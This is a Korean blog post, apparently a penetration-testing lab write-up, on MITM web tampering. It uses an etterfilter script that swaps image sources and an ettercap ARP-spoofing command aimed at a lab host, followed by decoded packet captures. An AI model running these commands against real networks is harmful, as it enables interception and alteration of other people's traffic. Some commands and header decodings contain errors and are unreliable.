MITM 공격이란?
MITM(Man In The Middle) 공격이란 두 개체 사이의 통신에 끼어드는 모든 공격으로 ARP 리다이렉트, ICMP 리다이렉트, ARP 스푸핑 등도 엄연히 MITM 공격이지만 일반적으로 MITM 공격을 말할 때는 이 세가지 공격은 언급하지 않습니다. 또 위의 세 공격은 패킷 내용을 바꾸지는 않지만 MTIM 공격은 패킷의 내용을 바꾸는 것까지 시도합니다.
MITM의 웹 변조 공격이란 클라이언트가 웹서버에게 응답받는 패킷의 내용을 변조하여 다른 정보를 보이도록 하는 것으로 이번에는 etterfilter를 이용하여 간단한 웹변조를 해보도록 합니다.
2 실습 환경
공격자 - IP : 192.168.10.150, MAC : 00:0C:29:9B:94:96
공격 대상 - IP : 192.168.10.151, MAC : 00:0C:29:ED:EF:16
3 실습 준비
3.1 공격자 - etterfilter 설치
(1) ettercap을 설치합니다.
- ettercap 설치
(2) 문서편집기로 filter를 작성합니다.
# vi (filter_text_file) if (ip.proto==TCP && tcp.src==80) { replace("img src=","img src=\"(이미지 경로)\""); replace("IMG SRC=","img src=\"(이미지 경로)\""); } |
- filter 작성
(3) filter 텍스트 파일을 컴파일합니다.
# etterfilter -o (filter_file.ef) -o (filter_text_file) |
- 필터 텍트스파일 컴파일
4 실습
(1) ettercap 프로그램으로 웹 변조를 실시합니다.
# ettercap -T -q -F filter.ef -M ARP /192.168.10.151/ // |
- ettercap 공격
(2) 클라이언트 PC로 웹페이지를 돌아다니면 그림이 변조된 것을 확인할 수 있습니다.
- 변조된 웹사이트
5 분석 결과
5.1 웹서버 -> 공격자
패킷 캡쳐
00 0C 29 9B 94 96 BC 5F F4 34 75 B2 08 00 45 00 05 74 17 BC 40 00 40 06 87 D5 C0 A8 0A 0B C0 A8 0A 97 00 50 08 27 11 0E 17 52 4C B6 EF E3 50 18 40 E8 38 8D 00 00 |
Etherent header
Destination MAC address |
00:0c:29:9b:94:96 |
Source MAC address |
bc:5f:f4:34:75:b2 |
Type |
08 00 (IP) |
IP header 분석
Version |
Header len |
TOS |
Total length |
0100 (IPv4) |
0101 (5words) |
00000000(사용안함) |
00000101 01110100 (1396bytes) |
Identification |
Flag |
Fragment offset |
|
00010111 10111100 |
010(분할되지 않음) |
00000 00000000 |
|
TTL |
Protocol type |
header checksum |
|
01000000 (64) |
00000110 (6 : TCP) |
10000111 11010101 |
|
Source IP address |
|||
11000000 10101000 00001010 00001011 (192.168.10.11) |
|||
Destination IP address |
|||
10101000 01111110 00111111 10010111 (192.168.10.151) |
TCP header 분석
Source port # |
Destination port # |
||||||||
00000000 01010000 (80) |
00001000 00100111 (2087) |
||||||||
Sequence # |
ACK # |
||||||||
00010001 00001110 00010111 01010010 |
01001100 10110110 11101111 11100011 |
||||||||
Header len |
예약 |
U |
A |
P |
R |
S |
F |
Window size |
|
0101(5words) |
000000 |
0 |
1 |
1 |
0 |
0 |
0 |
01000000 11101000(16616) |
|
Checksum |
Urgent point |
||||||||
00111000 10001101 |
00000000 00000000 |
메세지
분석 결과
공격 대상(192.168.10.151, 00:0c:29:ed:ef:16)의 요청에 웹서버(192.168.10.11, bc:5f:f4:34:75:b2)가 응답하는 패킷이지만 중간 공격자(192.168.10.150, 00:0c:29:9b:94:96)가 ARP 스푸핑 공격을 통해 패킷을 가로채는 것으로 정상적인 데이터(
를 전송하고 있습니다.
5.2 공격자 -> 공격 대상
패킷 캡쳐
00 0C 29 ED FE 16 00 0C 29 9B 94 96 08 00 45 00 05 DC 17 BB 40 00 40 06 87 6E C0 A8 0A 0B C0 A8 0A 97 00 50 08 27 11 0E 11 98 4C B6 EF E3 50 10 40 E8 67 38 00 00 |
Etherent header
Destination MAC address |
00:0c:29:ed:fe:16 |
Source MAC address |
00:0c:29:9b:94:96 |
Type |
08 00 (IP) |
IP header 분석
Version |
Header len |
TOS |
Total length |
0100 (IPv4) |
0101 (5words) |
00000000(사용안함) |
00000101 11011100 (1516bytes) |
Identification |
Flag |
Fragment offset |
|
00010111 10111011 |
010(분할되지 않음) |
00000 00000000 |
|
TTL |
Protocol type |
header checksum |
|
01000000 (64) |
00000110 (6 : TCP) |
10000111 01101110 |
|
Source IP address |
|||
11000000 10101000 00001010 00001011 (192.168.10.11) |
|||
Destination IP address |
|||
10101000 01111110 00111111 10010111 (192.168.10.151) |
TCP header 분석
Source port # |
Destination port # |
||||||||
00000000 01010000 (80) |
00001000 00100111 (2087) |
||||||||
Sequence # |
ACK # |
||||||||
00010001 00001110 00010001 10011110 |
01001100 10110110 11101111 11100011 |
||||||||
Header len |
예약 |
U |
A |
P |
R |
S |
F |
Window size |
|
0101(5words) |
000000 |
0 |
1 |
0 |
0 |
0 |
0 |
01000000 11101000(16616) |
|
Checksum |
Urgent point |
||||||||
01100111 00111000 |
00000000 00000000 |
메세지
분석 결과
공격자(192.168.10.150, 00:0c:29:9b:94:96)가 가로챈 패킷의 "부분을 "
https://www.google.co.kr/images/srpr/logo11w.png" "으로 변조하여 공격 대상(192.168.10.151, 00:0c:29:ed:ef:16)에게 패킷을 전송하여 공격 대상은 변조된 웹페이지를 보게 됩니다.
'CERTIFICATE' 카테고리의 다른 글
[웹 모의해킹 이론] CSRF(Cross Site Request Forgery) (0) | 2019.11.04 |
---|---|
[모의해킹] EP.09 : DDos 공격 (0) | 2019.10.15 |
[모의해킹] EP.07 : 은닉채널 (0) | 2019.10.04 |
[모의해킹] EP.06 : 터널링(Tunneling) (0) | 2019.10.01 |
[모의해킹] EP.05 : DNS Spoofing (0) | 2019.09.24 |